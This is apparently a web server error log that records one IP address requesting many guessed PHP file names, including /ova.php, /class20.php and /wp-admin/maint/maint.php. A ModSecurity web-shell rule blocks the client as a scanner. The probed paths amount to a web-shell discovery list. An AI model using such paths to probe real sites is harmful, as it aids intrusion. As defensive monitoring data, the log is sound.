[Wed Apr 08 22:26:36.536377 2026] [:error] [pid 12453:tid 12462] [client 20.123.35.2:37642] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zwso.php"] [unique_id "adZlnBjtW7S6XsLPvrRT_gAAAIc"]
[Wed Apr 08 22:26:41.496517 2026] [proxy_fcgi:error] [pid 64066:tid 64085] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:42.060144 2026] [proxy_fcgi:error] [pid 64066:tid 64092] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:42.313863 2026] [proxy_fcgi:error] [pid 64066:tid 64076] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:42.584282 2026] [proxy_fcgi:error] [pid 64066:tid 64073] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:42.838498 2026] [proxy_fcgi:error] [pid 64066:tid 64075] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:43.128854 2026] [proxy_fcgi:error] [pid 64066:tid 64077] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:43.387048 2026] [proxy_fcgi:error] [pid 64066:tid 64071] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:43.639566 2026] [proxy_fcgi:error] [pid 64066:tid 64092] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:43.893620 2026] [proxy_fcgi:error] [pid 64066:tid 64076] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:44.148184 2026] [proxy_fcgi:error] [pid 64066:tid 64090] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:44.429622 2026] [proxy_fcgi:error] [pid 64066:tid 64079] [client 20.123.35.2:35893] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:26:44.680350 2026] [:error] [pid 64066:tid 64078] [client 20.123.35.2:35893] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "adZlpFR3WucJgr2vZGZrggAAAUk"]
[Wed Apr 08 22:26:52.545119 2026] [:error] [pid 12453:tid 12460] [client 20.123.35.2:23355] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "adZlrBjtW7S6XsLPvrRUFgAAAIU"]
[Wed Apr 08 22:26:54.497310 2026] [:error] [pid 64066:tid 64081] [client 20.123.35.2:19138] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "adZlrlR3WucJgr2vZGZrogAAAUw"]
[Wed Apr 08 22:26:58.818365 2026] [:error] [pid 12490:tid 12499] [client 20.123.35.2:52090] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "adZlsm1Fea4F4fbumr0j8wAAAMc"]
[Wed Apr 08 22:27:04.516079 2026] [:error] [pid 12453:tid 12467] [client 20.123.35.2:26450] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "adZluBjtW7S6XsLPvrRULgAAAIw"]
[Wed Apr 08 22:27:06.797000 2026] [:error] [pid 35642:tid 35664] [client 20.123.35.2:19858] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "adZlug-CqryxdEs5DN9raAAAAFQ"]
[Wed Apr 08 22:27:08.624723 2026] [:error] [pid 12490:tid 12494] [client 20.123.35.2:39415] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "adZlvG1Fea4F4fbumr0kHgAAAMI"]
[Wed Apr 08 22:27:10.623346 2026] [:error] [pid 12490:tid 12499] [client 20.123.35.2:17804] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "adZlvm1Fea4F4fbumr0kKAAAAMc"]
[Wed Apr 08 22:27:16.534724 2026] [:error] [pid 12453:tid 12462] [client 20.123.35.2:38972] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "adZlxBjtW7S6XsLPvrRUQQAAAIc"]
[Wed Apr 08 22:27:23.810708 2026] [:error] [pid 12490:tid 12496] [client 20.123.35.2:24435] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "adZly21Fea4F4fbumr0kQwAAAMQ"]
[Wed Apr 08 22:27:29.094001 2026] [:error] [pid 12490:tid 12514] [client 20.123.35.2:19394] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/123.php"] [unique_id "adZl0W1Fea4F4fbumr0kWAAAANY"]
[Wed Apr 08 22:27:31.191918 2026] [:error] [pid 64066:tid 64082] [client 20.123.35.2:22268] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/123.php"] [unique_id "adZl01R3WucJgr2vZGZr8QAAAU0"]
[Wed Apr 08 22:27:39.036801 2026] [:error] [pid 7189:tid 7208] [client 20.123.35.2:19389] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/123.php"] [unique_id "adZl2xaBqhBSu0L37lrvbQAAAdE"]
[Wed Apr 08 22:27:49.009507 2026] [proxy_fcgi:error] [pid 7189:tid 7197] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:49.263769 2026] [proxy_fcgi:error] [pid 7189:tid 7208] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:50.065464 2026] [proxy_fcgi:error] [pid 7189:tid 7193] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:50.318992 2026] [proxy_fcgi:error] [pid 7189:tid 7194] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:50.830275 2026] [proxy_fcgi:error] [pid 7189:tid 7213] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:51.776913 2026] [proxy_fcgi:error] [pid 7189:tid 7204] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:52.031668 2026] [proxy_fcgi:error] [pid 7189:tid 7215] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:52.299143 2026] [proxy_fcgi:error] [pid 7189:tid 7205] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:52.611180 2026] [proxy_fcgi:error] [pid 7189:tid 7202] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:52.870721 2026] [proxy_fcgi:error] [pid 7189:tid 7198] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:53.131605 2026] [proxy_fcgi:error] [pid 7189:tid 7210] [client 20.123.35.2:5165] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:27:53.382129 2026] [:error] [pid 7189:tid 7201] [client 20.123.35.2:5165] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "adZl6RaBqhBSu0L37lrvgwAAAco"]
[Wed Apr 08 22:28:00.392163 2026] [:error] [pid 35642:tid 35668] [client 20.123.35.2:20875] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "adZl8A-CqryxdEs5DN9rhAAAAFg"]
[Wed Apr 08 22:28:03.966778 2026] [:error] [pid 64066:tid 64091] [client 20.123.35.2:20909] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error.php"] [unique_id "adZl81R3WucJgr2vZGZsJAAAAVY"]
[Wed Apr 08 22:28:10.549177 2026] [:error] [pid 7189:tid 7208] [client 20.123.35.2:17678] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "adZl-haBqhBSu0L37lrvjAAAAdE"]
[Wed Apr 08 22:28:12.404804 2026] [:error] [pid 12385:tid 12394] [client 20.123.35.2:17717] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "adZl_CAjtvRQEkLosq2q3QAAAAU"]
[Wed Apr 08 22:28:14.682005 2026] [:error] [pid 64066:tid 64080] [client 20.123.35.2:20883] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "adZl_lR3WucJgr2vZGZsTQAAAUs"]
[Wed Apr 08 22:28:19.369866 2026] [:error] [pid 7047:tid 7060] [client 20.123.35.2:19125] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "adZmA-Nh3oGO3pKiCzxAqgAAAYs"]
[Wed Apr 08 22:28:24.251269 2026] [:error] [pid 64066:tid 64084] [client 20.123.35.2:19066] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "adZmCFR3WucJgr2vZGZshgAAAU8"]
[Wed Apr 08 22:28:28.746562 2026] [:error] [pid 64066:tid 64078] [client 20.123.35.2:19013] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "adZmDFR3WucJgr2vZGZskQAAAUk"]
[Wed Apr 08 22:28:37.144450 2026] [:error] [pid 12490:tid 12514] [client 20.123.35.2:23035] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "adZmFW1Fea4F4fbumr0kwAAAANY"]
[Wed Apr 08 22:28:40.959936 2026] [:error] [pid 12453:tid 12474] [client 20.123.35.2:17691] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "adZmGBjtW7S6XsLPvrRUwAAAAJM"]
[Wed Apr 08 22:28:47.746795 2026] [:error] [pid 12490:tid 12508] [client 20.123.35.2:24504] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "adZmH21Fea4F4fbumr0kygAAANA"]
[Wed Apr 08 22:29:00.874157 2026] [proxy_fcgi:error] [pid 7189:tid 7199] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:01.163967 2026] [proxy_fcgi:error] [pid 7189:tid 7203] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:01.423010 2026] [proxy_fcgi:error] [pid 7189:tid 7205] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:01.699482 2026] [proxy_fcgi:error] [pid 7189:tid 7191] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:01.952140 2026] [proxy_fcgi:error] [pid 7189:tid 7211] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:02.223584 2026] [proxy_fcgi:error] [pid 7189:tid 7206] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:02.483150 2026] [proxy_fcgi:error] [pid 7189:tid 7210] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:02.736023 2026] [proxy_fcgi:error] [pid 7189:tid 7201] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:02.992924 2026] [proxy_fcgi:error] [pid 7189:tid 7200] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:03.266576 2026] [proxy_fcgi:error] [pid 7189:tid 7202] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:03.521047 2026] [proxy_fcgi:error] [pid 7189:tid 7213] [client 20.123.35.2:25267] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:29:03.779458 2026] [:error] [pid 7189:tid 7195] [client 20.123.35.2:25267] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "adZmLxaBqhBSu0L37lrvuQAAAcQ"]
[Wed Apr 08 22:29:18.661056 2026] [:error] [pid 64066:tid 64093] [client 20.123.35.2:16311] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "adZmPlR3WucJgr2vZGZsuwAAAVg"]
[Wed Apr 08 22:29:25.943010 2026] [:error] [pid 64066:tid 64079] [client 20.123.35.2:25265] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/10.php"] [unique_id "adZmRVR3WucJgr2vZGZszQAAAUo"]
[Wed Apr 08 22:29:51.987212 2026] [:error] [pid 12453:tid 12456] [client 20.123.35.2:5184] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kk.php"] [unique_id "adZmXxjtW7S6XsLPvrRU5gAAAIE"]
[Wed Apr 08 22:29:55.095573 2026] [:error] [pid 7189:tid 7192] [client 20.123.35.2:24839] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kk.php"] [unique_id "adZmYxaBqhBSu0L37lrv3wAAAcE"]
[Wed Apr 08 22:29:56.584078 2026] [:error] [pid 12386:tid 12439] [client 20.123.35.2:17720] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kk.php"] [unique_id "adZmZBLhhLtqHi2gK7Um-AAAARc"]
[Wed Apr 08 22:29:58.271137 2026] [:error] [pid 7189:tid 7213] [client 20.123.35.2:18890] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kk.php"] [unique_id "adZmZhaBqhBSu0L37lrv4AAAAdY"]
[Wed Apr 08 22:30:00.227418 2026] [:error] [pid 12453:tid 12459] [client 20.123.35.2:19499] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cf.php"] [unique_id "adZmaBjtW7S6XsLPvrRU7wAAAIQ"]
[Wed Apr 08 22:30:02.143545 2026] [:error] [pid 7189:tid 7203] [client 20.123.35.2:23014] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cf.php"] [unique_id "adZmahaBqhBSu0L37lrv5gAAAcw"]
[Wed Apr 08 22:30:03.932720 2026] [proxy_fcgi:error] [pid 7047:tid 7066] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:04.209563 2026] [proxy_fcgi:error] [pid 7047:tid 7057] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:04.507738 2026] [proxy_fcgi:error] [pid 7047:tid 7063] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:04.762113 2026] [proxy_fcgi:error] [pid 7047:tid 7054] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:05.015823 2026] [proxy_fcgi:error] [pid 7047:tid 7067] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:05.277948 2026] [proxy_fcgi:error] [pid 7047:tid 7051] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:05.549674 2026] [proxy_fcgi:error] [pid 7047:tid 7055] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:05.803689 2026] [proxy_fcgi:error] [pid 7047:tid 7064] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:06.057433 2026] [proxy_fcgi:error] [pid 7047:tid 7052] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:06.313937 2026] [proxy_fcgi:error] [pid 7047:tid 7059] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:06.570601 2026] [proxy_fcgi:error] [pid 7047:tid 7072] [client 20.123.35.2:17674] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:30:06.850473 2026] [:error] [pid 7047:tid 7070] [client 20.123.35.2:17674] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "adZmbuNh3oGO3pKiCzxBEwAAAZU"]
[Wed Apr 08 22:30:09.376290 2026] [:error] [pid 35642:tid 35653] [client 20.123.35.2:19277] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "adZmcQ-CqryxdEs5DN9rwwAAAEk"]
[Wed Apr 08 22:30:12.263595 2026] [:error] [pid 12490:tid 12501] [client 20.123.35.2:55582] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "adZmdG1Fea4F4fbumr0lQAAAAMk"]
[Wed Apr 08 22:30:14.039844 2026] [:error] [pid 7189:tid 7198] [client 20.123.35.2:22993] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class20.php"] [unique_id "adZmdhaBqhBSu0L37lrv7AAAAcc"]
[Wed Apr 08 22:30:18.646653 2026] [:error] [pid 12453:tid 12477] [client 20.123.35.2:21747] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ll.php"] [unique_id "adZmehjtW7S6XsLPvrRVAAAAAJY"]
[Wed Apr 08 22:30:28.120228 2026] [:error] [pid 64066:tid 64092] [client 20.123.35.2:21727] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ll.php"] [unique_id "adZmhFR3WucJgr2vZGZtWwAAAVc"]
[Wed Apr 08 22:30:29.507352 2026] [:error] [pid 7047:tid 7064] [client 20.123.35.2:18567] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "adZmheNh3oGO3pKiCzxBJQAAAY8"]
[Wed Apr 08 22:30:33.690161 2026] [:error] [pid 35642:tid 35661] [client 20.123.35.2:5249] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "adZmiQ-CqryxdEs5DN9r0AAAAFE"]
